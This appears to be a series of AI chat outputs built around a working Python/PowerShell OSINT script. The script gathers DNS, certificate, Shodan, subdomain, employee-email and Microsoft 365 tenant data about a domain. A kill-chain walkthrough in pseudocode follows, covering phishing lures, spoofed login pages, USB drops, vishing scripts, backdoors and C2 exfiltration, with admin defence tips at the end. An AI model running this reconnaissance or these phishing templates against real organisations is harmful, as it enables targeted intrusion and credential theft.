        logging.warning(f"crt.sh returned status code {response.status_code}")
        return []
    except Exception as e:
        logging.error(f"Error fetching SSL certificates: {e}")
        return str(e)

# Function to fetch Shodan data
def get_shodan_info(domain):
    logging.info("Fetching Shodan information...")
    api = Shodan(SHODAN_API_KEY)
    try:
        host = api.search(domain)
        return host
    except Exception as e:
        logging.error(f"Error fetching Shodan information: {e}")
        return str(e)

# Function to fetch Google Dorking results (requires custom scraping)
def get_google_dorks(domain):
    logging.info("Fetching Google Dorking results...")
    dorks = [
        f"site:{domain} inurl:sharepoint",
        f"site:{domain} inurl:teams",
        f"site:{domain} inurl:sites",
        f"site:{domain} inurl:calendar"
    ]
    # Placeholder for actual Google Dorking implementation
    return dorks

# Function to fetch Bing search results
def get_bing_search_results(domain):
    logging.info("Fetching Bing search results...")
    try:
        bing_api_url = f"https://api.bing.microsoft.com/v7.0/search?q=site:{domain}"
        headers = {"Ocp-Apim-Subscription-Key": "your_bing_api_key"}
        response = requests.get(bing_api_url, headers=headers)
        if response.status_code == 200:
            return response.json()
        logging.warning(f"Bing API returned status code {response.status_code}")
        return []
    except Exception as e:
        logging.error(f"Error fetching Bing search results: {e}")
        return str(e)

# Function to fetch VirusTotal domain report
def get_virustotal_report(domain):
    logging.info("Fetching VirusTotal domain report...")
    try:
        virustotal_api_url = f"https://www.virustotal.com/api/v3/domains/{domain}"
        headers = {"x-apikey": "your_virustotal_api_key"}
        response = requests.get(virustotal_api_url, headers=headers)
        if response.status_code == 200:
            return response.json()
        logging.warning(f"VirusTotal API returned status code {response.status_code}")
        return []
    except Exception as e:
        logging.error(f"Error fetching VirusTotal report: {e}")
        return str(e)

# Function to fetch subdomains using SecurityTrails
def get_subdomains(domain):
    logging.info("Fetching subdomains from SecurityTrails...")
    try:
        url = f"https://api.securitytrails.com/v1/domain/{domain}/subdomains"
        headers = {"APIKEY": SECURITYTRAILS_API_KEY}
        response = requests.get(url, headers=headers)
        if response.status_code == 200:
            return response.json()
        logging.warning(f"SecurityTrails API returned status code {response.status_code}")
        return []
    except Exception as e:
        logging.error(f"Error fetching subdomains: {e}")
        return str(e)

# Function to fetch email addresses using Hunter.io
def get_email_addresses(domain):
    logging.info("Fetching email addresses from Hunter.io...")
    try:
        url = f"https://api.hunter.io/v2/domain-search?domain={domain}&api_key={HUNTER_API_KEY}"
        response = requests.get(url)
        if response.status_code == 200:
            return response.json()
        logging.warning(f"Hunter.io API returned status code {response.status_code}")
        return []
    except Exception as e:
        logging.error(f"Error fetching email addresses: {e}")
        return str(e)

# Function to fetch historical DNS data using SecurityTrails
def get_historical_dns(domain):
    logging.info("Fetching historical DNS data from SecurityTrails...")
    try:
        url = f"https://api.securitytrails.com/v1/history/{domain}/dns"
        headers = {"APIKEY": SECURITYTRAILS_API_KEY}
        response = requests.get(url, headers=headers)
        if response.status_code == 200:
            return response.json()
        logging.warning(f"SecurityTrails API returned status code {response.status_code}")
        return []
    except Exception as e:
        logging.error(f"Error fetching historical DNS data: {e}")
        return str(e)

# Function to check Exchange Online and legacy services using PowerShell
def check_exchange_and_legacy_services(domain):
    logging.info("Checking Exchange Online and legacy services...")
    powershell_script = f"""
    function Get-DnsRecord {{
        param (
            [string]$domain,
            [string]$recordType
        )
        $dnsRecord = Resolve-DnsName -Name $domain -Type $recordType
        return $dnsRecord
    }}

    $mxRecords = Get-DnsRecord -domain "{domain}" -recordType "MX"
    $autodiscoverRecord = Get-DnsRecord -domain "autodiscover.{domain}" -recordType "CNAME"

    if ($mxRecords.NameHost -match "protection.outlook.com") {{
        "Domain uses Exchange Online"
    }} else {{
        "Domain does not use Exchange Online"
    }}

    $legacyServices = @("smtp.{domain}", "pop3.{domain}", "imap.{domain}")
    foreach ($service in $legacyServices) {{
        try {{
            $connection = Test-NetConnection -ComputerName $service -Port 25, 110, 143
            if ($connection.TcpTestSucceeded) {{
                "$service is reachable on port $($connection.RemotePort)"
            }} else {{
                "$service is not reachable on port $($connection.RemotePort)"
            }}
        }} catch {{
            "Could not connect to $service"
        }}
    }}
    """
    try:
        result = subprocess.run(["powershell", "-Command", powershell_script], capture_output=True, text=True)
        return result.stdout
    except Exception as e:
        logging.error(f"Error running PowerShell script: {e}")
        return str(e)

# Function to find tenant domain.onmicrosoft.com UPN
def get_tenant_info(domain):
    logging.info("Fetching tenant information...")
    powershell_script = f"""
    function Get-TenantInfo {{
        param (
            [string]$domain
        )
        $record = Resolve-DnsName -Name $domain -Type TXT | Where-Object {{ $_.Strings -match "MS=" }}
        return $record
    }}

    $tenantInfo = Get-TenantInfo -domain "{domain}"
    if ($tenantInfo) {{
        $tenantInfo.Strings -match "MS=(.*)"
        "Tenant UPN: $($matches[1]).onmicrosoft.com"
    }} else {{
        "Tenant UPN not found"
    }}
    """
    try:
        result = subprocess.run(["powershell", "-Command", powershell_script], capture_output=True, text=True)
        return result.stdout
    except Exception as e:
        logging.error(f"Error running PowerShell script: {e}")
        return str(e)

# Fetch DNS records
dns_records = get_dns_records(domain)
logging.info(f"DNS records: {dns_records}")

# Fetch WHOIS information
whois_info = get_whois_info(domain)
logging.info(f"WHOIS information: {whois_info}")

# Fetch SSL certificates
ssl_certificates = get_ssl_certificates(domain)
logging.info(f"SSL certificates: {json.dumps(ssl_certificates, indent=2)}")

# Fetch Shodan information
shodan_info = get_shodan_info(domain)
logging.info(f"Shodan information: {json.dumps(shodan_info, indent=2)}")

# Fetch Google Dorking results
google_dorks = get_google_dorks(domain)
logging.info(f"Google Dorking results: {google_dorks}")

# Fetch Bing search results


bing_results = get_bing_search_results(domain)
logging.info(f"Bing search results: {json.dumps(bing_results, indent=2)}")

# Fetch VirusTotal report
virustotal_report = get_virustotal_report(domain)
logging.info(f"VirusTotal report: {json.dumps(virustotal_report, indent=2)}")

# Fetch subdomains
subdomains = get_subdomains(domain)
logging.info(f"Subdomains: {json.dumps(subdomains, indent=2)}")

# Fetch email addresses
email_addresses = get_email_addresses(domain)
logging.info(f"Email addresses: {json.dumps(email_addresses, indent=2)}")

# Fetch historical DNS data
historical_dns = get_historical_dns(domain)
logging.info(f"Historical DNS data: {json.dumps(historical_dns, indent=2)}")

# Check Exchange Online and legacy services
exchange_and_legacy_services = check_exchange_and_legacy_services(domain)
logging.info(f"Exchange and legacy services: {exchange_and_legacy_services}")

# Fetch tenant information
tenant_info = get_tenant_info(domain)
logging.info(f"Tenant information: {tenant_info}")

# Write results to file
with open(f'osint_results_{domain}.txt', 'w') as f:
    f.write("DNS Records:\n")
    f.write(dns_records + "\n\n")
    f.write("WHOIS Information:\n")
    f.write(whois_info + "\n\n")
    f.write("SSL Certificates:\n")
    f.write(json.dumps(ssl_certificates, indent=2) + "\n\n")
    f.write("Shodan Information:\n")
    f.write(json.dumps(shodan_info, indent=2) + "\n\n")
    f.write("Google Dorking Results:\n")
    for dork in google_dorks:
        f.write(dork + "\n")
    f.write("\nBing Search Results:\n")
    f.write(json.dumps(bing_results, indent=2) + "\n\n")
    f.write("VirusTotal Report:\n")
    f.write(json.dumps(virustotal_report, indent=2) + "\n\n")
    f.write("Subdomains:\n")
    f.write(json.dumps(subdomains, indent=2) + "\n\n")
    f.write("Email Addresses:\n")
    f.write(json.dumps(email_addresses, indent=2) + "\n\n")
    f.write("Historical DNS Data:\n")
    f.write(json.dumps(historical_dns, indent=2) + "\n\n")
    f.write("Exchange and Legacy Services:\n")
    f.write(exchange_and_legacy_services + "\n\n")
    f.write("Tenant Information:\n")
    f.write(tenant_info + "\n")

Explanation of Additional Features:

1. Exchange Online and Legacy Services Check:

   • Added a PowerShell script to check DNS records, MX records, and CNAME records for Exchange Online.
   • Check legacy email services like SMTP, POP3, and IMAP for availability.

2. Tenant Domain UPN Detection:

   • Added a PowerShell script to extract the tenant's UPN from DNS TXT records.

3. Integration with Python:

   • Integrated the PowerShell scripts with the Python script using subprocess.run to execute the PowerShell commands and capture their output.

This expanded script provides a comprehensive set of OSINT techniques, covering DNS records, WHOIS information, SSL certificates, Shodan data, Google Dorking, Bing search results, VirusTotal reports, subdomains, email addresses, historical DNS data, Exchange Online and legacy services checks, and tenant domain UPN detection.

New chat detected.. analyzing project mode 🥷💻.

An attacker using the information gathered from these OSINT scripts might proceed to the Weaponization phase in various ways. Here's a detailed breakdown of potential steps:

1. Exploiting Discovered Vulnerabilities

• Shodan Data: If the Shodan search reveals services with known vulnerabilities, the attacker can use this information to craft exploits specifically targeting those services.
  • Example: If a vulnerable version of a web server is found, the attacker could use an exploit for that version to gain unauthorized access.

2. Phishing and Social Engineering

• Email Harvesting: Email addresses obtained from Hunter.io and other sources can be used for spear-phishing campaigns.
  • Example: Crafting emails that appear to come from trusted sources within the organization to trick employees into providing credentials or clicking malicious links.

3. Credential Stuffing and Brute Force Attacks

• Subdomains and Email Addresses: Using discovered subdomains and email addresses to attempt login attacks on web portals.
  • Example: Automated tools can be used to try common passwords or use previously leaked passwords to gain access to accounts.

4. Domain Impersonation

• SSL Certificates and WHOIS Data: Using this information to create fake websites that mimic legitimate ones, tricking users into entering sensitive information.
  • Example: Registering a domain similar to the target's and obtaining an SSL certificate to make the phishing site appear legitimate.

5. Exploiting Legacy Email Services

• SMTP, POP3, IMAP: If legacy email services are found to be active, attackers can exploit vulnerabilities in these protocols.
  • Example: Man-in-the-middle attacks to intercept email communications or exploit weak authentication mechanisms.

6. Tenant Domain UPN

• Azure AD Tenant Information: Using the tenant domain information to attempt attacks on Office 365 and Azure AD services.
  • Example: Crafting phishing attacks that mimic Azure AD login pages to steal credentials.

7. Using DNS and Historical Data for Further Exploitation

• DNS Records: Detailed DNS information can help attackers understand the network infrastructure and plan their attacks accordingly.
  • Example: Identifying internal networks and systems to target with specific exploits.
• Historical DNS Data: Understanding changes in infrastructure over time to find potential misconfigurations or overlooked systems.

Example Scenario

An attacker uses the gathered information to execute a multi-stage attack:

1. Reconnaissance:

   • Collects subdomains, email addresses, and infrastructure details using the enhanced OSINT script.
   • Finds a vulnerable email service or outdated software version via Shodan.

2. Weaponization:

   • Crafts a custom exploit for the identified vulnerability.
   • Designs phishing emails targeting specific employees using harvested email addresses.

3. Delivery:

   • Sends phishing emails with malicious links or attachments.
   • Directs users to a spoofed login page mimicking the organization's portal.

4. Exploitation:

   • Exploits the identified vulnerability to gain initial access.
   • Uses credentials obtained from phishing to log into internal systems.

5. Installation:

   • Deploys malware or establishes a backdoor on compromised systems.
   • Uses remote access tools to maintain persistence.

6. Command and Control (C2):

   • Sets up a C2 server to communicate with compromised systems.
   • Uses DNS tunneling or encrypted channels to evade detection.

7. Actions on Objectives:

   • Extracts sensitive data, such as intellectual property, financial records, or customer information.
   • Potentially disrupts services or demands ransom.

Mitigation Measures

Organizations can mitigate such threats by:

• Regularly updating and patching software to fix known vulnerabilities.
• Implementing robust email security measures, including multi-factor authentication and anti-phishing solutions.
• Monitoring for abnormal login attempts and unauthorized access.
• Training employees to recognize and report phishing attempts.
• Using security tools to scan for and protect against potential threats identified through OSINT.

By understanding the potential paths an attacker might take, organizations can better prepare their defenses and reduce the risk of successful attacks.

New chat detected.. strategizing project mode 🥷💻.

Pseudocode for Weaponization

Weaponization Pseudocode:

# Collecting data
dns_records = collect_dns_records(target_domain)
whois_info = collect_whois_info(target_domain)
ssl_certificates = collect_ssl_certificates(target_domain)
shodan_info = collect_shodan_info(target_domain)
google_dorks = perform_google_dorking(target_domain)
bing_results = perform_bing_search(target_domain)
virustotal_report = get_virustotal_report(target_domain)
subdomains = collect_subdomains(target_domain)
email_addresses = collect_email_addresses(target_domain)
historical_dns = get_historical_dns(target_domain)
exchange_legacy_services = check_exchange_and_legacy_services(target_domain)
tenant_info = get_tenant_info(target_domain)

# Crafting a custom exploit
exploit = create_exploit(vulnerable_service)

# Designing phishing emails
for email in email_addresses:
    phishing_email = create_phishing_email(
        to=email,
        subject="Urgent Security Update",
        body="Click this link to update your security settings.",
        malicious_link=exploit_link
    )
    save_phishing_email(phishing_email)

# Crafting a spoofed login page
spoofed_login_page = create_spoofed_page(
    template=legitimate_login_page,
    action_url=malicious_server_url
)
deploy_spoofed_page(spoofed_login_page)

# Packaging malicious attachments
malicious_attachment = create_malicious_attachment(exploit_payload)
for email in email_addresses:
    phishing_email_with_attachment = attach_file_to_email(
        phishing_email, malicious_attachment
    )
    save_phishing_email(phishing_email_with_attachment)

# Creating a backdoor payload
backdoor_payload = create_backdoor(
    remote_server=command_and_control_server
)
save_payload(backdoor_payload)

# Encrypting and obfuscating payloads to avoid detection
encrypted_payload = encrypt_payload(backdoor_payload)
obfuscated_payload = obfuscate_payload(encrypted_payload)
save_payload(obfuscated_payload)

Description of the Next Phase: Delivery

Delivery Phase:

In the Delivery phase, the attacker transmits the weaponized payload to the target. The objective is to ensure that the payload reaches the target and executes successfully. The methods of delivery can vary, but they typically include the following:

1. Phishing Emails:

   • Email with Malicious Links: The attacker sends emails containing links to malicious websites or spoofed login pages. When the target clicks the link, they are directed to a site that either collects their credentials or serves malware.
   • Email with Malicious Attachments: The attacker sends emails with attachments that contain the payload (e.g., a Word document with a macro that executes the exploit).

2. Drive-by Downloads:

   • The attacker compromises a legitimate website or creates a malicious website that automatically downloads and executes the payload when the target visits the site.

3. USB Drops:

   • The attacker leaves USB drives containing the payload in public or target-specific locations. When the target plugs the USB drive into their computer, the payload is executed.

4. Social Engineering:

   • The attacker may use social engineering tactics to convince the target to execute the payload. This can involve impersonating a trusted entity and guiding the target through the steps needed to run the payload.

5. Exploitation of Vulnerabilities:

   • The attacker identifies and exploits vulnerabilities in the target's systems to deliver the payload directly. This could involve exploiting a network service or a web application.

Delivery Pseudocode:

# Phishing Email with Malicious Link
for email in email_addresses:
    send_email(
        to=email,
        subject="Urgent Security Update",
        body="Click this link to update your security settings: {exploit_link}"
    )

# Phishing Email with Malicious Attachment
for email in email_addresses:
    send_email(
        to=email,
        subject="Important Document",
        body="Please review the attached document.",
        attachment=malicious_attachment
    )

# Hosting Spoofed Login Page
deploy_to_server(
    server_url=malicious_server_url,
    content=spoofed_login_page
)

# USB Drop (Simulated)
place_usb_drives(
    locations=["lobby", "parking lot"],
    payload=backdoor_payload
)

# Social Engineering Call (Simulated)
for phone_number in target_phone_numbers:
    call_target(
        phone_number=phone_number,
        script="This is IT support. Please open the document we sent you and follow the instructions."
    )

# Exploitation of Vulnerabilities
for vulnerable_service in identified_vulnerable_services:
    exploit_service(
        service=vulnerable_service,
        payload=exploit_payload
    )

Key Considerations in Delivery:

• Stealth: Ensuring the delivery method is covert to avoid detection by security systems.
• Persistence: Crafting the payload to maintain access to the target's system even if initially detected.
• Social Engineering: Leveraging social engineering tactics to increase the chances of successful delivery and execution.

In summary, the Delivery phase focuses on getting the weaponized payload to the target in a manner that maximizes the chances of it being executed without raising suspicion or triggering defenses.

New chat detected.. escalating project mode 🥷💻.

Phase: Exploitation

Description:

In the Exploitation phase, the attacker uses the delivered payload to execute code on the target system. This phase focuses on gaining initial access by exploiting vulnerabilities or social engineering the user into executing malicious code.

Exploitation Pseudocode:

# Main exploitation function
function execute_exploit(target, payload):
    if payload_type == "malicious_link":
        open_browser(target, payload)
    elif payload_type == "malicious_attachment":
        open_attachment(target, payload)
    elif payload_type == "backdoor":
        connect_backdoor(target, payload)
    elif payload_type == "exploiting_vulnerability":
        run_exploit_code(target, payload)

# Opening a browser to a malicious link
function open_browser(target, link):
    logging.info("Opening browser to malicious link")
    try:
        browser = target.open_browser()
        browser.navigate_to(link)
        execute_payload_in_browser(browser)
    except Exception as e:
        logging.error(f"Failed to exploit via browser: {e}")

# Opening and executing a malicious attachment
function open_attachment(target, attachment):
    logging.info("Opening malicious attachment")
    try:
        file = target.download_attachment(attachment)
        target.open_file(file)
        execute_payload_in_file(file)
    except Exception as e:
        logging.error(f"Failed to exploit via attachment: {e}")

# Connecting and activating a backdoor
function connect_backdoor(target, backdoor):
    logging.info("Activating backdoor")
    try:
        connection = backdoor.connect_to_target(target)
        backdoor.execute_initial_payload(connection)
    except Exception as e:
        logging.error(f"Failed to connect backdoor: {e}")

# Exploiting a vulnerability directly
function run_exploit_code(target, exploit_code):
    logging.info("Running exploit code")
    try:
        vulnerability = target.find_vulnerability()
        target.execute_code(vulnerability, exploit_code)
    except Exception as e:
        logging.error(f"Failed to exploit vulnerability: {e}")

# Example usage
target = identify_target_system(domain)
payload = create_payload()

# Deliver and execute payload based on type
for payload_type in ["malicious_link", "malicious_attachment", "backdoor", "exploiting_vulnerability"]:
    execute_exploit(target, payload)

# Establish command and control (C2) connection
function establish_c2_connection(target):
    logging.info("Establishing C2 connection")
    try:
        c2_server = connect_to_c2_server()
        target_data = gather_target_data(target)
        send_data_to_c2(c2_server, target_data)
    except Exception as e:
        logging.error(f"Failed to establish C2 connection: {e}")

Detailed Steps in Exploitation:

1. Identifying the Target System:

   • Use previously gathered OSINT to identify the target system, including IP addresses, software versions, and potential vulnerabilities.

2. Executing Malicious Link:

   • Action: Opens a browser on the target system to navigate to a malicious link.
   • Purpose: Exploits browser vulnerabilities or tricks the user into downloading and executing a malicious payload.

3. Executing Malicious Attachment:

   • Action: The target opens a malicious attachment received via email.
   • Purpose: Leverages macros or other embedded exploits within documents to gain execution.

4. Activating Backdoor:

   • Action: Connects and activates a backdoor payload previously delivered to the target system.
   • Purpose: Establishes persistent access to the target system for further actions.

5. Exploiting Vulnerabilities:

   • Action: Executes code directly on the target system by exploiting a known vulnerability.
   • Purpose: Gains immediate unauthorized access to the target system.

6. Establishing Command and Control (C2) Connection:

   • Action: Connects the compromised system to a remote C2 server controlled by the attacker.
   • Purpose: Maintains communication with the compromised system for data exfiltration, monitoring, and further exploitation.

Realistic Example Scenario:

Scenario: The attacker has identified a vulnerable version of a web application running on the target's server.

# Identify the target system based on OSINT data
target_system = identify_target_system("example.com")
logging.info(f"Target system identified: {target_system}")

# Create an exploit payload specific to the vulnerability
vulnerability = "CVE-2021-34527"  # Example vulnerability
payload = create_exploit_payload(vulnerability)
logging.info(f"Exploit payload created for {vulnerability}")

# Exploit the vulnerability on the target system
logging.info("Attempting to exploit the vulnerability on the target system")
try:
    exploit_success = run_exploit_code(target_system, payload)
    if exploit_success:
        logging.info("Exploit successful, gaining access to the target system")
        establish_c2_connection(target_system)
    else:
        logging.warning("Exploit failed, retrying or selecting a different approach")
except Exception as e:
    logging.error(f"Exploitation failed: {e}")

# Establishing a command and control connection
function establish_c2_connection(target_system):
    logging.info("Establishing command and control connection")
    c2_server = connect_to_c2_server()
    target_data = gather_target_data(target_system)
    send_data_to_c2(c2_server, target_data)
    logging.info("Command and control connection established")

Next Phase: Delivery

Description:

In the Delivery phase, the attacker transmits the weaponized payload to the target. The objective is to ensure that the payload reaches the target and executes successfully. The methods of delivery can vary, but they typically include the following:

1. Phishing Emails:

   • Email with Malicious Links: The attacker sends emails containing links to malicious websites or spoofed login pages. When the target clicks the link, they are directed to a site that either collects their credentials or serves malware.
   • Email with Malicious Attachments: The attacker sends emails with attachments that contain the payload (e.g., a Word document with a macro that executes the exploit).

2. Drive-by Downloads:

   • The attacker compromises a legitimate website or creates a malicious website that automatically downloads and executes the payload when the target visits the site.

3. USB Drops:

   • The attacker leaves USB drives containing the payload in public or target-specific locations. When the target plugs the USB drive into their computer, the payload is executed.

4. Social Engineering:

   • The attacker may use social engineering tactics to convince the target to execute the payload. This can involve impersonating a trusted entity and guiding the target through the steps needed to run the payload.

5. Exploitation of Vulnerabilities:

   • The attacker identifies and exploits vulnerabilities in the target's systems to deliver the payload directly. This could involve exploiting a network service or a web application.

By understanding these steps, organizations can better prepare their defenses and reduce the risk of successful attacks.

New chat detected.. providing comprehensive analysis mode 🥷💻.

Below is a summarized sequence of steps, from reconnaissance to actions on objectives, with pseudocode illustrating the tools and techniques an attacker might use, and how you, as an admin, can understand and detect these actions within your Azure/M365 environment.

1. Reconnaissance (Rekognosering)

Tools and Techniques:

• DNS Records, WHOIS, SSL Certificates
• Shodan Data, Google Dorking, Bing Search
• VirusTotal Reports, Subdomains, Email Harvesting
• Historical DNS Data, Exchange Online, Legacy Services

Pseudocode:

# Reconnaissance function
function reconnaissance(domain):
    dns_records = collect_dns_records(domain)
    whois_info = collect_whois_info(domain)
    ssl_certificates = collect_ssl_certificates(domain)
    shodan_info = collect_shodan_info(domain)
    google_dorks = perform_google_dorking(domain)
    bing_results = perform_bing_search(domain)
    virustotal_report = get_virustotal_report(domain)
    subdomains = collect_subdomains(domain)
    email_addresses = collect_email_addresses(domain)
    historical_dns = get_historical_dns(domain)
    exchange_legacy_services = check_exchange_and_legacy_services(domain)
    tenant_info = get_tenant_info(domain)
    return {
        "dns_records": dns_records,
        "whois_info": whois_info,
        "ssl_certificates": ssl_certificates,
        "shodan_info": shodan_info,
        "google_dorks": google_dorks,
        "bing_results": bing_results,
        "virustotal_report": virustotal_report,
        "subdomains": subdomains,
        "email_addresses": email_addresses,
        "historical_dns": historical_dns,
        "exchange_legacy_services": exchange_legacy_services,
        "tenant_info": tenant_info
    }

# Example usage
recon_data = reconnaissance("example.com")

Admin View:

• Use DNS monitoring, WHOIS lookup tools, and security information from SSL certificates to understand exposure.
• Regularly check Shodan for your IP ranges to detect open ports and services.
• Monitor public search results and virus reports related to your domain.
• Use Azure AD and Microsoft 365 tools to check for unauthorized email addresses and subdomains.

2. Weaponization (Våpenmaking)

Tools and Techniques:

• Crafting Exploits, Designing Phishing Emails, Creating Spoofed Login Pages
• Packaging Malicious Attachments, Creating Backdoor Payloads

Pseudocode:

# Weaponization function
function weaponize(recon_data):
    vulnerabilities = identify_vulnerabilities(recon_data["shodan_info"])
    exploit_payload = create_exploit_payload(vulnerabilities)
    phishing_emails = create_phishing_emails(recon_data["email_addresses"], exploit_payload)
    spoofed_login_page = create_spoofed_login_page(recon_data["tenant_info"])
    malicious_attachments = create_malicious_attachments(exploit_payload)
    backdoor_payload = create_backdoor_payload()
    return {
        "exploit_payload": exploit_payload,
        "phishing_emails": phishing_emails,
        "spoofed_login_page": spoofed_login_page,
        "malicious_attachments": malicious_attachments,
        "backdoor_payload": backdoor_payload
    }

# Example usage
weaponized_data = weaponize(recon_data)

Admin View:

• Use security tools to identify vulnerabilities in your environment.
• Educate employees on phishing tactics and regularly test with simulated phishing attacks.
• Monitor for spoofed login pages and unauthorized web content related to your domain.
• Use email security solutions to detect and block malicious attachments.

3. Delivery (Levering)

Tools and Techniques:

• Phishing Emails, Drive-by Downloads, USB Drops
• Social Engineering, Exploiting Vulnerabilities

Pseudocode:

# Delivery function
function deliver(weaponized_data, target):
    for email in weaponized_data["phishing_emails"]:
        send_email(email)
    deploy_spoofed_page(weaponized_data["spoofed_login_page"])
    distribute_malicious_attachments(weaponized_data["malicious_attachments"], target)
    place_usb_drives_with_payload(target)
    social_engineer_target(target)
    exploit_target_vulnerabilities(target, weaponized_data["exploit_payload"])

# Example usage
deliver(weaponized_data, target_domain)

Admin View:

• Implement advanced email filtering and sandboxing.
• Monitor web traffic for suspicious downloads and block malicious sites.
• Train employees on social engineering tactics.
• Regularly scan for and patch vulnerabilities.

4. Exploitation (Utnyttelse)

Tools and Techniques:

• Executing Malicious Code, Establishing Initial Access

Pseudocode:

# Exploitation function
function exploit(target, payload):
    if payload_type == "malicious_link":
        open_browser_and_execute_payload(target, payload)
    elif payload_type == "malicious_attachment":
        open_attachment_and_execute_payload(target, payload)
    elif payload_type == "backdoor":
        activate_backdoor(target, payload)
    elif payload_type == "exploit_code":
        run_exploit_code_on_target(target, payload)

# Example usage
exploit(target_system, weaponized_data["exploit_payload"])

Admin View:

• Use endpoint protection to detect and block malicious code execution.
• Monitor user behavior for anomalies that could indicate exploitation.
• Deploy honeypots to detect and analyze attacks.

5. Installation (Installasjon)

Tools and Techniques:

• Installing Backdoors, Rootkits, or Other Malware

Pseudocode:

# Installation function
function install(target, backdoor):
    logging.info("Installing backdoor on target")
    try:
        connection = backdoor.connect_to_target(target)
        backdoor.install(connection)
        logging.info("Backdoor installed successfully")
    except Exception as e:
        logging.error(f"Failed to install backdoor: {e}")

# Example usage
install(target_system, weaponized_data["backdoor_payload"])

Admin View:

• Regularly scan systems for unauthorized software installations.
• Use integrity monitoring to detect changes to critical files and system settings.
• Deploy advanced threat detection tools to identify and remove malware.

6. Command and Control (C2)

Tools and Techniques:

• Establishing Communication with Compromised Systems

Pseudocode:

# C2 function
function establish_c2(target):
    logging.info("Establishing C2 connection")
    c2_server = connect_to_c2_server()
    try:
        target_data = gather_target_data(target)
        send_data_to_c2(c2_server, target_data)
        logging.info("C2 connection established")
    except Exception as e:
        logging.error(f"Failed to establish C2 connection: {e}")

# Example usage
establish_c2(target_system)

Admin View:

• Monitor network traffic for unusual connections or data exfiltration.
• Use network segmentation and isolation to limit potential C2 communications.
• Deploy intrusion detection systems to identify and block C2 channels.

7. Actions on Objectives (Måloppretting)

Tools and Techniques:

• Data Exfiltration, Lateral Movement, Persistence, Destruction

Pseudocode:

# Actions on Objectives function
function actions_on_objectives(target, c2_server):
    logging.info("Performing actions on objectives")
    objectives = define_objectives()
    for objective in objectives:
        execute_objective(target, c2_server, objective)

# Example usage
actions_on_objectives(target_system, c2_server)

Admin View:

• Use data loss prevention (DLP) tools to prevent unauthorized data exfiltration.
• Implement strong access controls to limit lateral movement.
• Regularly back up data and systems to recover from destructive attacks.
• Conduct regular security assessments and penetration tests to identify weaknesses.

By understanding each phase from the attacker's perspective, you can better prepare and defend your Azure/M365 environment. Regularly updating security policies, educating employees, and using advanced security tools are key steps in protecting against such attacks.